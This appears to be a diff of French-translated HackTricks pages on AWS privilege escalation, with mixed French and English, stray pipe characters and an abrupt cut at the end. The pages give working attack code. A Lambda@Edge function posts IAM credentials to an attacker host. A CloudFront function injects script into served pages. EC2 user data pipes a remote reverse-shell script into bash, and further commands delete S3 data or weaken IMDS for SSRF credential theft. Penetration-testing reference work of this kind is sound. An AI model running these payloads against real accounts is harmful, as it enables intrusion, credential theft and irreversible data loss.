### `s3:Delete*`
|
||||
|
||||
Un attaquant disposant de la permission s3:Delete* peut supprimer des objets, des versions et des buckets entiers, perturber les sauvegardes, et provoquer une perte de données immédiate et irréversible, la destruction de preuves et la compromission d'artefacts de sauvegarde ou de récupération.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Pour plus d'informations** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+217
@@ -0,0 +1,217 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
Un attaquant disposant des autorisations cloudfront:UpdateDistribution et cloudfront:GetDistributionConfig peut modifier la configuration d’une distribution CloudFront. Il n’a pas besoin d’autorisations sur le bucket S3 cible lui‑même, bien que l’attaque soit plus facile si ce bucket a une stratégie permissive qui autorise l’accès depuis le principal de service cloudfront.amazonaws.com.
|
||||
|
||||
L’attaquant modifie la configuration de l’origine de la distribution pour la pointer vers un autre bucket S3 ou vers un serveur contrôlé par l’attaquant. D’abord, il récupère la configuration actuelle de la distribution :
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
Ensuite, ils modifient current-config.json pour pointer l'origine vers la nouvelle ressource — par exemple, un autre bucket S3 :
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
Enfin, appliquez la configuration modifiée (vous devez fournir l'ETag actuel lors de la mise à jour) :
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Créer un nouveau body avec du JavaScript malveillant
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Page compromise</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Contenu d'origine</h1>
|
||||
<p>Cette page a été modifiée par CloudFront Functions</p>
|
||||
<script>
|
||||
// JavaScript malveillant
|
||||
alert('Injection de code de CloudFront Function réussie !');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Remplacer entièrement le body
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Mettre à jour les en-têtes
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Créer la fonction malveillante dans CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Récupérer l'ETag de la fonction au stade DEVELOPMENT
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Publier la fonction au stade LIVE
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Packager la fonction Lambda@Edge
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Créer la fonction Lambda@Edge avec un rôle privilégié
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Publier une version de la fonction
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Appliquer la configuration de distribution mise à jour (doit utiliser l'ETag actuel)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Déclencher la fonction en effectuant une requête vers la distribution
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+66
-43
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Pour plus d'**infos sur EC2**, consultez :
|
||||
Pour plus d'**info sur EC2**, voir :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@ Pour plus d'**infos sur EC2**, consultez :
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Un attaquant pourrait **créer une instance en y attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis le metadata endpoint.
|
||||
Un attaquant pourrait **créer une instance en y attachant un rôle IAM puis accéder à l'instance** pour voler les identifiants du rôle IAM depuis l'endpoint de métadonnées.
|
||||
|
||||
- **Accès via SSH**
|
||||
|
||||
Lancez une nouvelle instance en utilisant une **ssh key** **créée** (`--key-name`) puis connectez-vous en ssh dessus (si vous voulez en créer une nouvelle, vous pourriez avoir besoin de la permission `ec2:CreateKeyPair`).
|
||||
Lancez une nouvelle instance en utilisant une **clé SSH créée** (`--key-name`) puis connectez-vous en SSH dessus (si vous voulez en créer une nouvelle vous pourriez avoir besoin de la permission `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
--security-group-ids <sg-id>
|
||||
```
|
||||
- **Accès via rev shell dans user data**
|
||||
- **Access via rev shell in user data**
|
||||
|
||||
Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier de security group de cette façon.
|
||||
Vous pouvez lancer une nouvelle instance en utilisant un **user data** (`--user-data`) qui vous enverra un **rev shell**. Vous n'avez pas besoin de spécifier le security group de cette manière.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Faites attention à GuradDuty si vous utilisez les identifiants de l'IAM role en dehors de l'instance:
|
||||
Faites attention avec GuradDuty si vous utilisez les identifiants du rôle IAM en dehors de l'instance :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel role EC2 attaché aux instance profiles existants.
|
||||
**Impact potentiel :** privesc direct sur n'importe quel rôle EC2 attaché à des instance profiles existants.
|
||||
|
||||
#### Privesc to ECS
|
||||
#### Privesc vers ECS
|
||||
|
||||
Avec cet ensemble de permissions, vous pourriez également **créer une EC2 instance et l'enregistrer dans un ECS cluster**. De cette façon, les **services** ECS seront **exécutés** à l'intérieur de l'**EC2 instance** à laquelle vous avez accès ; vous pourrez alors pénétrer ces services (docker containers) et **voler les ECS roles qui y sont attachés**.
|
||||
Avec cet ensemble d'autorisations vous pourriez aussi **créer une instance EC2 et l'enregistrer dans un cluster ECS**. De cette façon, les **services** ECS seront **exécutés** à l'intérieur de l'**instance EC2** à laquelle vous avez accès et vous pourrez ensuite pénétrer ces services (conteneurs docker) et **voler les rôles ECS qui y sont attachés**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,20 +59,20 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Pour apprendre comment **forcer l'exécution des services ECS** sur cette nouvelle instance EC2, consultez :
|
||||
To learn how to **forcer l'exécution des services ECS** in this new EC2 instance check:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Si vous **ne pouvez pas créer une nouvelle instance** mais que vous avez la permission `ecs:RegisterContainerInstance`, vous pourriez être en mesure d'enregistrer l'instance dans le cluster et d'effectuer l'attaque commentée.
|
||||
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
|
||||
|
||||
**Impact potentiel :** Direct privesc to ECS roles attached to tasks.
|
||||
**Potential Impact:** Direct privesc to ECS roles attached to tasks.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
Comme dans le scénario précédent, un attaquant disposant de ces permissions pourrait **changer le IAM role d'une instance compromise** afin de pouvoir voler de nouvelles credentials.
|
||||
Comme un instance profile ne peut contenir qu'un seul role, si l'instance profile **a déjà un rôle** (cas fréquent), vous aurez aussi besoin de **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
|
||||
As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
|
||||
```bash
|
||||
# Removing role from instance profile
|
||||
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Si le **instance profile a un role** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution de contournement. Il pourrait **trouver** un **instance profile sans role** ou **créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **role** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une instance compromise:
|
||||
Si le **instance profile a un rôle** et que l'attaquant **ne peut pas le supprimer**, il existe une autre solution. Il pourrait **trouver** un **instance profile sans rôle** ou **en créer un nouveau** (`iam:CreateInstanceProfile`), **ajouter** le **rôle** à cet **instance profile** (comme discuté précédemment), et **associer l'instance profile** compromis à une **instance** compromise :
|
||||
|
||||
- Si l'instance **n'a pas d'instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Impact potentiel :** Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique de instance profile).
|
||||
**Impact potentiel :** Direct privesc vers un rôle EC2 différent (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique de l'instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; ainsi, si l'attaquant avait déjà accès à une instance, il pourra voler des credentials pour davantage de instance profile roles en changeant celui qui lui est associé.
|
||||
Avec ces permissions, il est possible de changer l'instance profile associée à une instance ; donc si l'attaquant a déjà accès à une instance, il pourra voler des identifiants pour d'autres rôles d'instance profile en changeant celui qui lui est associé.
|
||||
|
||||
- Si l'instance **a un instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
|
||||
- Si elle **a une instance profile**, vous pouvez **retirer** l'instance profile (`ec2:DisassociateIamInstanceProfile`) et **l'associer**
|
||||
```bash
|
||||
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- ou **remplacer** le **instance profile** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- ou **remplacer** l'**instance profile** de l'instance compromise (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Impact potentiel :** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
|
||||
**Impact potentiel :** Direct privesc vers un autre EC2 role (vous devez avoir compromis une instance AWS EC2 et disposer de permissions supplémentaires ou d'un statut spécifique d'instance profile).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Un attaquant disposant des permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** peut **demander** une **Spot Instance** avec un **EC2 Role attaché** et un **rev shell** dans le **user data**.\
|
||||
Une fois l'instance lancée, il peut **voler le rôle IAM**.
|
||||
Un attaquant disposant des permissions **`ec2:RequestSpotInstances` et `iam:PassRole`** peut **demander** une **Spot Instance** avec un **EC2 Role attached** et un **rev shell** dans le **user data**.\
|
||||
Une fois l'instance lancée, il peut **voler le IAM role**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Un attaquant disposant de la **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer le user data**, ce qui implique qu'il peut faire exécuter à l'instance des **données arbitraires.** Cela peut être utilisé pour obtenir un **rev shell to the EC2 instance**.
|
||||
Un attaquant disposant de la **`ec2:ModifyInstanceAttribute`** peut modifier les attributs de l'instance. Parmi eux, il peut **changer les données utilisateur**, ce qui implique qu'il peut faire exécuter à l'instance **des données arbitraires**. Cela peut être utilisé pour obtenir un **rev shell vers l'instance EC2**.
|
||||
|
||||
Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, il faut donc les **permissions** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
|
||||
Notez que les attributs ne peuvent être **modifiés que lorsque l'instance est arrêtée**, d'où la nécessité des **autorisations** **`ec2:StopInstances`** et **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Impact potentiel :** privesc direct sur n'importe quel EC2 IAM Role attaché à une instance créée.
|
||||
**Potential Impact:** Privesc direct vers n'importe quel EC2 IAM Role attaché à une instance créée.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Un attaquant avec les permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **nouvelle Launch Template version** avec un **rev shell dans** le **user data** et **n'importe quel EC2 IAM Role associé**, changer la version par défaut, et **tout Autoscaler group** **utilisant** ce **Launch Template** qui est **configuré** pour utiliser la **latest** ou la **version par défaut** **relancera les instances** utilisant ce template et exécutera le rev shell.
|
||||
Un attaquant disposant des permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** peut créer une **new Launch Template version** avec un **rev shell in** les **user data** et **any EC2 IAM Role on it**, changer la version par défaut, et **any Autoscaler group** **using** that **Launch Templat**e qui est **configured** pour utiliser la **latest** ou la **default version** va **re-run the instances** en utilisant ce template et exécutera le rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers un autre rôle EC2.
|
||||
**Impact potentiel :** privesc direct vers un autre EC2 role.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **create a Launch Configuration** avec un **IAM Role** et un **rev shell** dans le **user data**, puis **create an autoscaling group** à partir de cette configuration et attendre que le rev shell **steal the IAM Role**.
|
||||
Un attaquant disposant des permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** peut **créer une Launch Configuration** avec un **IAM Role** et un **rev shell** dans les **user data**, puis **créer un autoscaling group** à partir de cette config et attendre que le rev shell **vole l'IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -196,11 +196,11 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
--desired-capacity 1 \
|
||||
--vpc-zone-identifier "subnet-e282f9b8"
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers un autre rôle EC2.
|
||||
**Impact potentiel :** Escalade de privilèges directe (privesc) vers un autre rôle EC2.
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** **ne suffisent pas à escalader** les privilèges vers un IAM role car, pour attacher le rôle spécifié dans la Launch Configuration ou dans la Launch Template, **il vous faut les permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
|
||||
L'ensemble des permissions **`ec2:CreateLaunchTemplate`** et **`autoscaling:CreateAutoScalingGroup`** ne suffisent pas pour escalader les privilèges vers un rôle IAM car pour attacher le rôle spécifié dans le Launch Configuration ou dans le Launch Template **vous avez besoin des permissions `iam:PassRole` et `ec2:RunInstances`** (ce qui est un privesc connu).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
@@ -211,13 +211,13 @@ aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Impact potentiel :** Privesc direct vers les EC2 IAM roles attachés aux instances en cours d'exécution.
|
||||
**Impact potentiel :** Privesc direct aux IAM roles EC2 attachés aux instances en cours d'exécution.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Un attaquant disposant de la permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** peut **ajouter une clé ssh à une connexion série**. Si la connexion série n'est pas activée, l'attaquant a besoin de la permission **`ec2:EnableSerialConsoleAccess`** pour l'activer.
|
||||
|
||||
Pour se connecter au port série, il faut également **connaître le nom d'utilisateur et le mot de passe d'un compte présent sur la machine**.
|
||||
Pour se connecter au port série, il faut également connaître le nom d'utilisateur et le mot de passe d'un compte présent sur la machine.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Cette méthode n'est pas très utile pour le privesc car il faut connaître un nom d'utilisateur et un mot de passe pour l'exploiter.
|
||||
Cette méthode n'est pas très utile pour privesc car il faut connaître un username et un password pour l'exploiter.
|
||||
|
||||
**Impact potentiel :** (Très difficile à prouver) privesc direct sur les IAM roles EC2 attachés aux instances en cours d'exécution.
|
||||
**Impact potentiel :** (Fortement invérifiable) privesc direct vers les IAM roles EC2 attachés aux instances en cours d'exécution.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Comme les launch templates ont du versioning, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, comme des credentials présents dans le user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles :
|
||||
Comme les launch templates sont versionnés, un attaquant disposant des permissions **`ec2:describe-launch-templates`** et **`ec2:describe-launch-template-versions`** pourrait les exploiter pour découvrir des informations sensibles, telles que des credentials présents dans le user data. Pour ce faire, le script suivant parcourt toutes les versions des launch templates disponibles :
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -250,22 +250,22 @@ done
|
||||
```
|
||||
Dans les commandes ci‑dessus, bien que nous spécifiions certains motifs (`aws_|password|token|api`), vous pouvez utiliser une regex différente pour rechercher d'autres types d'informations sensibles.
|
||||
|
||||
Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier sur AWS.
|
||||
Si nous trouvons `aws_access_key_id` et `aws_secret_access_key`, nous pouvons utiliser ces identifiants pour nous authentifier auprès d'AWS.
|
||||
|
||||
**Impact potentiel :** Escalade de privilèges directe vers un ou plusieurs utilisateurs IAM.
|
||||
**Impact potentiel :** Escalade de privilèges directe vers les utilisateur(s) IAM.
|
||||
|
||||
## Références
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (rétrogradation d'IMDS pour permettre le vol d'identifiants via SSRF)
|
||||
### `ec2:ModifyInstanceMetadataOptions` (downgrade de l'IMDS pour permettre le vol d'identifiants via SSRF)
|
||||
|
||||
Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le point de terminaison des métadonnées d'instance accessible via des chemins SSRF/proxy courants depuis des applications exécutées sur l'instance. Si l'attaquant parvient à déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux.
|
||||
Un attaquant capable d'appeler `ec2:ModifyInstanceMetadataOptions` sur une instance EC2 victime peut affaiblir les protections IMDS en activant IMDSv1 (`HttpTokens=optional`) et en augmentant le `HttpPutResponseHopLimit`. Cela rend le endpoint de metadata de l'instance accessible via des chemins SSRF/proxy courants depuis des applications s'exécutant sur l'instance. Si l'attaquant peut déclencher une SSRF dans une telle application, il peut récupérer les identifiants de l'instance profile et pivoter avec eux.
|
||||
|
||||
- Permissions requises : `ec2:ModifyInstanceMetadataOptions` sur l'instance cible (plus la capacité d'atteindre/déclencher une SSRF sur l'hôte).
|
||||
- Ressource cible : l'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).
|
||||
- Ressource cible : L'instance EC2 en cours d'exécution avec un instance profile attaché (IAM role).
|
||||
|
||||
Exemple de commandes :
|
||||
Commands example:
|
||||
```bash
|
||||
# 1) Check current metadata settings
|
||||
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
|
||||
@@ -292,5 +292,28 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Impact potentiel : vol des instance profile credentials via SSRF entraînant une privilege escalation et un lateral movement avec les permissions du rôle EC2.
|
||||
Impact potentiel : vol des identifiants du profil d'instance via SSRF entraînant une élévation de privilèges et des déplacements latéraux avec les permissions du rôle EC2.
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions`
|
||||
|
||||
Un attaquant disposant de la permission ec2:ModifyInstanceMetadataOptions peut affaiblir les protections de l'Instance Metadata Service (IMDS) — par exemple en forçant IMDSv1 (rendant HttpTokens non requis) ou en augmentant HttpPutResponseHopLimit — facilitant ainsi l'exfiltration d'identifiants temporaires. Le vecteur de risque le plus pertinent est l'augmentation de HttpPutResponseHopLimit : en augmentant cette limite de sauts (TTL), le point de terminaison 169.254.169.254 cesse d'être strictement limité à l'espace de noms réseau de la VM et peut devenir accessible par d'autres processus/containers, permettant le vol d'identifiants.
|
||||
```bash
|
||||
